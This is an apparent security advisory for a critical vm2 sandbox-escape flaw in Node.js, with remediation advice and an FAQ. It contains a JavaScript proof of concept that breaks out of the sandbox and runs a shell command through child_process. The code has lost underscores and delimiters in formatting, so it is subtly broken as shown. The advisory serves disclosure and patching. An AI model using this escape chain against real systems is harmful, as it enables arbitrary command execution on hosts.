GHSA-cfcw-xp6x-25gj: Critical severity npm/vm2 vulnerability
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");
async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }
try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }
f(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.6 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Patch GHSA-v6mx-mf47-r5wg - Compensating control
Harden the VM2 execution environment by isolating the runtime host (e.g., run the vulnerable service in a tightly isolated container/VM with no sensitive host access) to mitigate sandbox escape risks.
Event History
Frequently Asked Questions
What is the severity of GHSA-cfcw-xp6x-25gj?
The severity of GHSA-cfcw-xp6x-25gj is critical with a CVSS score of 9.8.
How do I fix GHSA-cfcw-xp6x-25gj?
To fix GHSA-cfcw-xp6x-25gj, upgrade to the patched version of VM2, which is 3.11.6 or later.
What does GHSA-cfcw-xp6x-25gj vulnerability affect?
GHSA-cfcw-xp6x-25gj affects the VM2 package used in Node.js applications, allowing sandbox breakout.
What can attackers do with GHSA-cfcw-xp6x-25gj?
Attackers can exploit GHSA-cfcw-xp6x-25gj to execute arbitrary commands on the host system by escaping the VM2 sandbox.
When was GHSA-cfcw-xp6x-25gj published?
GHSA-cfcw-xp6x-25gj was published on August 17, 2026.